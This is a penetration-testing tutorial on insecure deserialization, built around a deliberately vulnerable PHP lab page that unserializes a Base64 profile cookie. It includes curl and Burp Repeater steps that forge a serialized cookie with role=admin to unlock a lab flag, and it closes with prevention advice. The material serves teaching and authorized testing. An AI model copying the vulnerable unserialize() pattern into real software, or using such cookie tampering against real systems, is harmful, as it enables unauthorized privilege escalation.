Insecure Deserialization: How It Works and How to Test It

Tested on Kali GNU/Linux Rolling 2026.2 (kali-rolling)
Package php 8.4.24
curl
Burp Suite (optional Repeater proof)
Lab environment Pentest lab
Cert prep CompTIA PenTest+ PT0-003 — Domain 4 (attacks and exploits), insecure deserialization
Privilege Normal user for php -S, curl, and Burp
Scope How serialization works, when it is insecure, impact classes, recognizing formats, modifying a serialized privilege field in PHP, conceptual magic methods and gadget chains, Burp Repeater testing, and prevention. Does not cover gadget-chain payload catalogs, RCE exploit recipes, or IDOR (see the IDOR lesson).
Related guides CSRF attack tutorial
Server-side request forgery
Short on time?Beta Get the gist of this 13-minute read in seconds, then ask follow-up questions

Imagine packing a suitcase for a trip. You fold your clothes into a compact bag (serialize), ship the bag, then unpack at the hotel (deserialize). That is fine when you packed the bag. It is unsafe when a stranger can repack it and the hotel staff unpack whatever they find without checking.

In web apps, the “clothes” are application state: a profile, cart, or session blob. The app turns that state into text or bytes, stores it (often in a cookie), and later rebuilds it. Insecure deserialization means the app rebuilds data an attacker can change, then trusts what comes out (for example role=admin).

You will:

  • Learn serialize vs deserialize in plain language
  • See what this bug class can lead to (logic abuse through RCE)
  • Spot common serialized formats
  • Run a small PHP lab and change a privilege field in a cookie
  • Understand magic methods and gadget chains at a high level (no exploit dump)
  • Replay the same proof in Burp Repeater
  • Know how to prevent the class of bug

This is a detection and testing lesson, not a gadget-chain cookbook. Object ID swapping (IDOR/BOLA) is a different bug class. Use the IDOR vulnerability guide for that.

IMPORTANT
Run these steps only on systems you own or are authorized to test. Keep the lab on localhost or host-only per your rules of engagement. Do not paste public deserialization exploit gadgets against third-party hosts.

Serialization vs deserialization

Two opposite operations:

Word What it means Everyday analogy
Serialization Turn in-memory data into bytes or text Pack the suitcase
Deserialization Rebuild that data from the bytes or text Unpack the suitcase

Round trip:

text
data in memory → serialize → bytes/string → store or send → deserialize → reconstructed data

Object serialized to bytes for transport, then reconstructed by the server

Apps do this so state can leave the server process. Common places you will see the packed blob:

  • Cookies that store a “profile,” “cart,” or “prefs” payload
  • Hidden form fields
  • Cache entries, message queues, and session backends
  • Tokens that embed structured state instead of a simple session ID

JSON also turns structures into text. Native language serializers are often riskier when they can recreate typed objects and run special methods during rebuild:

  • PHP serialize / unserialize
  • Java ObjectOutputStream / ObjectInputStream
  • Python pickle
  • .NET BinaryFormatter (legacy)

JSON usually does not reconstruct arbitrary class instances by itself. Trusting client JSON fields can still be a logic bug.


When deserialization becomes insecure

Using serialization is not automatically a vulnerability. The risk appears when all of these are true:

  • An attacker can influence the blob (cookie, parameter, uploaded file, queue message)
  • The server rebuilds it with an unsafe or overly powerful API
  • The rebuilt fields or object types drive security decisions (role, balance, permissions) or run powerful code

A correctly verified HMAC can prevent an attacker from modifying a client-stored serialized blob. It does not make native deserialization inherently safe, and it does not protect against compromised signing keys, unsafe server-generated serialized data, or vulnerable object graphs that enter through another trust boundary. Prefer not deserializing untrusted native formats at all.


What can insecure deserialization lead to?

Impact depends on what the application does with the rebuilt data and whether dangerous types are reachable:

  • Privilege escalation or logic manipulation (change role, price, feature flags)
  • Authentication or access-control bypass
  • Denial of service (expensive or deeply nested payloads)
  • File or system side effects when reconstructed code paths touch the host
  • Remote code execution when dangerous object types and gadget chains are reachable

Your PHP lab demonstrates the first class: logic abuse through a trusted privilege field. RCE needs a different sink (class reconstruction and usable gadgets) and stays conceptual later on this page.


Start the PHP profile lab

You will run a tiny intentional vulnerable page on your own machine. It stores PHP-serialized profile data in a cookie. If the rebuilt role is admin, it shows a fake admin panel and a lab flag.

NOTE
This lab intentionally uses a serialized array, not a PHP object instance. It demonstrates logic abuse through untrusted deserialization. PHP object injection and gadget-chain execution require class reconstruction and are discussed later only at a conceptual level.

Create the lab directory

On my Kali lab I used PHP 8.4.24. Make a folder for the app:

bash
mkdir -p ~/web-labs/insecure-deserialization

mkdir -p creates the path if it is missing and stays quiet if it already exists.

Save the vulnerable page

Create ~/web-labs/insecure-deserialization/index.php with this content:

php
<?php
declare(strict_types=1);

function default_profile(): array {
    return ['user' => 'alice', 'role' => 'user', 'theme' => 'light'];
}

$raw = $_COOKIE['profile'] ?? '';
$profile = default_profile();

if ($raw !== '') {
    $decoded = base64_decode($raw, true);
    if ($decoded !== false) {
        // Intentionally unsafe: untrusted serialized data
        $obj = @unserialize($decoded, ['allowed_classes' => false]);
        if (is_array($obj)) {
            $profile = array_merge(default_profile(), $obj);
        }
    }
} else {
    $serialized = serialize(default_profile());
    setcookie('profile', base64_encode($serialized), [
        'expires' => time() + 3600,
        'path' => '/',
        'httponly' => true,
        'samesite' => 'Lax',
    ]);
    $raw = base64_encode($serialized);
}

$is_admin = (($profile['role'] ?? '') === 'admin');
header('Content-Type: text/html; charset=utf-8');
?>
<!doctype html>
<html><head><title>GLC Deserialization Lab</title></head>
<body>
<h1>Profile dashboard</h1>
<ul>
  <li>user: <?= htmlspecialchars((string)$profile['user'], ENT_QUOTES) ?></li>
  <li>role: <?= htmlspecialchars((string)$profile['role'], ENT_QUOTES) ?></li>
  <li>theme: <?= htmlspecialchars((string)$profile['theme'], ENT_QUOTES) ?></li>
</ul>
<?php if ($is_admin): ?>
  <h2>Admin panel</h2>
  <p>FLAG{deserial-role-admin-ok}</p>
<?php else: ?>
  <p>Admin panel hidden (need role=admin).</p>
<?php endif; ?>
<pre>profile cookie (base64): <?= htmlspecialchars($raw, ENT_QUOTES) ?></pre>
</body></html>

What this page does, in order:

  1. Looks for a profile cookie
  2. Base64-decodes it, then runs unserialize (the unsafe step for this lesson)
  3. Reads role from the rebuilt array
  4. Shows the admin panel only when role is admin

The lab sets allowed_classes => false, which prevents normal class instantiation from the serialized input. Arrays and scalar values still deserialize, which is enough to demonstrate client-controlled privilege state. Disallowed class payloads would become __PHP_Incomplete_Class rather than usable objects; this lab never needs that path.

IMPORTANT
PHP’s own manual warns against passing untrusted input to unserialize() even when allowed_classes is restricted. The lab intentionally violates that rule so you can observe why the trust boundary matters.

Start the PHP built-in server

Serve the folder on loopback port 42010:

bash
php -S 127.0.0.1:42010 -t ~/web-labs/insecure-deserialization

Leave that terminal open. You should see a line that the development server started. Open a second terminal for the curl and Burp steps below.

Confirm the default (non-admin) page

Fetch the page, save headers and body, and store cookies in a jar file:

bash
curl -s -D- -o /tmp/deserial-body.html -c /tmp/deserial.jar http://127.0.0.1:42010/

What those flags mean:

  • -D- prints response headers to the terminal
  • -o /tmp/deserial-body.html saves the HTML body
  • -c /tmp/deserial.jar writes cookies curl received (including profile)

Sample response headers (trimmed):

output
HTTP/1.1 200 OK
Set-Cookie: profile=YTozOntzOjQ6InVzZXIiO3M6NToiYWxpY2UiO3M6NDoicm9sZSI7czo0OiJ1c2VyIjtzOjU6InRoZW1lIjtzOjU6ImxpZ2h0Ijt9; path=/; HttpOnly; SameSite=Lax
Content-Type: text/html; charset=utf-8

The Set-Cookie: profile=… line is the packed state. Confirm the page still hides admin content:

bash
grep -E 'role:|Admin panel' /tmp/deserial-body.html

Sample output:

output
  <li>role: user</li>
  <p>Admin panel hidden (need role=admin).</p>

You are a normal user until the rebuilt cookie says otherwise.


Recognize serialized data

Pull the cookie value from the jar (Burp’s cookie editor shows the same string):

bash
awk '/profile/{print $NF}' /tmp/deserial.jar

Sample output:

output
YTozOntzOjQ6InVzZXIiO3M6NToiYWxpY2UiO3M6NDoicm9sZSI7czo0OiJ1c2VyIjtzOjU6InRoZW1lIjtzOjU6ImxpZ2h0Ijt9

That long string is Base64. Decode it to see the real PHP serialization:

bash
echo 'YTozOntzOjQ6InVzZXIiO3M6NToiYWxpY2UiO3M6NDoicm9sZSI7czo0OiJ1c2VyIjtzOjU6InRoZW1lIjtzOjU6ImxpZ2h0Ijt9' | base64 -d; echo

Sample output:

output
a:3:{s:4:"user";s:5:"alice";s:4:"role";s:4:"user";s:5:"theme";s:5:"light";}

How to read a simple PHP array blob:

  • a:3:{…} means an array with 3 elements
  • s:4:"user" means a string of length 4 whose key or value is user
  • s:5:"alice" is the username value (5 characters)

If you change a string, you must also change its length number, or PHP rejects the data.

Other format clues (recognition only):

Clue Typical meaning
a:…{…} / O:…:"Class":… PHP serialize
Hex AC ED 00 05, or Base64 often beginning rO0AB Java serialized stream
Opaque binary or Base64 that tooling identifies as pickle Possible Python pickle (treat untrusted pickle as code-execution risk)
JSON {…} Structured text; usually no class magic, still can hold trusted-looking fields

You do not need a lab for every language. Spot the blob, peel transport encoding (Base64, URL encoding), identify the family, then ask: does the server trust fields inside this?


Modify a serialized privilege field

The bug in this lab is simple: the server treats cookie fields as truth after unserialize. Build a profile where role is admin and keep the other fields the same:

bash
php -r 'echo base64_encode(serialize(["user"=>"alice","role"=>"admin","theme"=>"light"])); echo "\n";'

Sample output:

output
YTozOntzOjQ6InVzZXIiO3M6NToiYWxpY2UiO3M6NDoicm9sZSI7czo1OiJhZG1pbiI7czo1OiJ0aGVtZSI7czo1OiJsaWdodCI7fQ==

Decode your new cookie before you send it, so you can see the edit:

bash
echo 'YTozOntzOjQ6InVzZXIiO3M6NToiYWxpY2UiO3M6NDoicm9sZSI7czo1OiJhZG1pbiI7czo1OiJ0aGVtZSI7czo1OiJsaWdodCI7fQ==' | base64 -d; echo

Sample output:

output
a:3:{s:4:"user";s:5:"alice";s:4:"role";s:5:"admin";s:5:"theme";s:5:"light";}

Compare with the original:

  • Before: s:4:"role";s:4:"user"
  • After: s:4:"role";s:5:"admin"

admin is five characters, so the length is s:5. Hand-editing without fixing lengths is a common beginner mistake.

Send the new cookie with curl:

bash
curl -s -H 'Cookie: profile=YTozOntzOjQ6InVzZXIiO3M6NToiYWxpY2UiO3M6NDoicm9sZSI7czo1OiJhZG1pbiI7czo1OiJ0aGVtZSI7czo1OiJsaWdodCI7fQ==' \
  http://127.0.0.1:42010/ | grep -E 'role:|Admin|FLAG'

Sample output:

output
  <li>role: admin</li>
  <h2>Admin panel</h2>
  <p>FLAG{deserial-role-admin-ok}</p>

The server unpacked your blob and treated role as authorization. Finding language for a report:

  • Untrusted deserialization of client-controlled serialized data
  • Security-relevant field (role) taken from the cookie after unserialize
  • Impact: privilege elevation / logic abuse in the application UI (lab flag)

Next, repeat the same proof in Burp so your evidence matches how many engagements are documented.


Why object types, magic methods, and gadget chains matter

This lab only rebuilds an array of strings. That is enough for logic abuse. Native serializers can also rebuild class instances.

While unpacking classes, some languages run special methods, for example:

  • PHP __wakeup / __destruct
  • Java readObject
  • Similar hooks in other stacks

If those methods touch files, call services, or use attacker-controlled properties, impact can jump from “change a privilege field” to file write or code execution.

A gadget is existing application or library code that becomes useful to an attacker when triggered. A gadget chain links several of those pieces during deserialization:

  • The attacker usually does not upload new malware files
  • They send a carefully built serialized object graph
  • The graph walks code already on the server (frameworks, plugins, libraries)

For assessments, record:

  • Which serializer the app uses
  • Library and framework versions
  • Whether untrusted input reaches unserialize, ObjectInputStream, pickle.loads, or similar

Treat “a public gadget exists for this stack” as a prioritization hint after you confirm the sink. Do not paste random public payloads into production or third-party apps. Type allowlists (such as PHP allowed_classes) shrink the surface; they do not replace “do not put privileges in client blobs” and do not make untrusted unserialize() safe by themselves.


Test serialized data with Burp Repeater

Curl already proved the issue. In an engagement you often capture and edit the same cookie in Burp Suite.

Burp Suite Repeater: GET / to 127.0.0.1:42010 with profile cookie set to admin blob and response showing role admin, Admin panel, and FLAG

On this lab, use these steps:

  1. Configure your browser to use Burp’s proxy and visit http://127.0.0.1:42010/ once so the default profile cookie is set
  2. In Proxy → HTTP history, find the GET / request to 127.0.0.1:42010
  3. Right-click → Send to Repeater
  4. In Repeater, locate the Cookie: header and the profile= value (Base64 PHP serialization)
  5. Replace that value with the admin blob you built earlier:
text
profile=YTozOntzOjQ6InVzZXIiO3M6NToiYWxpY2UiO3M6NDoicm9sZSI7czo1OiJhZG1pbiI7czo1OiJ0aGVtZSI7czo1OiJsaWdodCI7fQ==
  1. Click Send
  2. In the response, confirm role: admin, the Admin panel heading, and FLAG{deserial-role-admin-ok}

That is the same trust failure as curl: Burp only changes how you edit and present the evidence. Intruder is optional later for field fuzzing, only after you have a working proof and your scope allows it.


Prevention

Control Why it helps
Do not deserialize untrusted native formats Removes the dangerous sink
Prefer simple data formats such as JSON plus strict schema and type validation Avoids native object reconstruction; authorization and logic checks are still required
Keep privileges and roles on the server Client blobs cannot grant admin
Sign and verify with HMAC only if you must transport state Prevents unauthorized modification of the blob; does not remove risks inherent to native deserialization
Allowlist permitted classes when native deserialize is unavoidable Shrinks gadget surface; still not a green light for untrusted input
Keep frameworks and libraries patched Reduces known gadget availability

HMAC on a serialized privilege cookie is still a design smell even when the signature verifies. Prefer a session ID server-side and look up the real role from a trusted database.


Troubleshooting

Symptom Likely cause Fix
php -S connection refused Server not running or wrong port Start php -S again; use 127.0.0.1:42010
PHP rejects your cookie after edit Wrong string length in s:N:"…" Recount characters, or regenerate with serialize()
Admin panel still hidden Cookie not sent or wrong name Confirm Cookie: profile=… and path /
base64_decode fails Truncated or URL-encoded value URL-decode first; keep Base64 padding
Only JSON present Different data format Still test logic bugs; native object injection may not apply
Want IDOR testing Wrong vulnerability class Use the IDOR / BOLA lesson

Summary

Serialization packs application state for storage or transport. Deserialization unpacks it. The vulnerability appears when the packed data is attacker-controlled and the server trusts what comes out of the unpack step.

On the PHP lab, the profile cookie held a Base64-wrapped array, not a class instance. Changing the serialized privilege field role from user to admin unlocked the admin panel because the server called unserialize on untrusted input and believed the result. That is a valid insecure-deserialization finding for logic abuse. PHP object injection and gadget-chain RCE need class reconstruction and stay conceptual here.

Prefer removing native deserialize sinks, keeping authorization server-side, and using simple formats with schema checks. Use Burp Repeater to document the same cookie edit you proved with curl. For bugs that swap object IDs between users, continue with the IDOR / BOLA guide.


References


Frequently Asked Questions

What is insecure deserialization?

It is reconstructing attacker-influenced serialized data with APIs that rebuild application state or objects unsafely. The failure is trust in the blob, not the mere existence of serialization.

Is this PHP lab the same as PHP object injection?

No. The lab deserializes a serialized array with allowed_classes set to false. It shows logic abuse through untrusted deserialization. Object injection and gadget-chain RCE require class reconstruction and are covered only conceptually on this page.

How do I detect serialized data in a web app?

Look in cookies, hidden fields, and tokens for Base64 or hex wrappers, PHP a:/O: patterns, Java hex AC ED 00 05 or Base64 often starting rO0AB, pickle identified by tooling, or other language-native formats. Decode one layer at a time and identify the serializer family.

Is JSON the same risk as PHP serialize or Java serialization?

JSON still carries logic risks if you trust client fields, but it does not normally reconstruct arbitrary class instances and run magic methods the way native object serializers can. You still need schema and authorization checks.

What is a gadget chain?

A sequence of existing classes and methods that, when composed during deserialization, produces an attacker-useful effect. It relies on code already present in the application or libraries.

A correctly verified HMAC can stop an attacker from forging a new blob without the key. It does not make native deserialization inherently safe, and it fails if the key is compromised or unsafe serialized data arrives from another path. Prefer server-side session data for privileges.

Should I run public Java or PHP gadget payloads in every engagement?

Only against authorized targets, and only after you confirm a real deserialize sink and scope. Blindly spraying gadgets is noisy, often outdated, and easy to mis-scope. Detection and sink confirmation come first.

Finished reading?Beta Get the key takeaways in seconds, then ask follow-up questions
Deepak Prasad

R&D Engineer

Founder of GoLinuxCloud with 15+ years of expertise in Linux, Python, Go, Laravel, DevOps, Kubernetes, Git, Shell scripting, OpenShift, AWS, Networking, and Security. With extensive experience, he excels across development, DevOps, networking, and security, delivering robust and efficient solutions for diverse projects.

  • Go (programming language)
  • Python (programming language)
  • DevOps
  • Computer Security
  • Cloud Computing
  • Kubernetes
  • Linux
  • Ansible (software)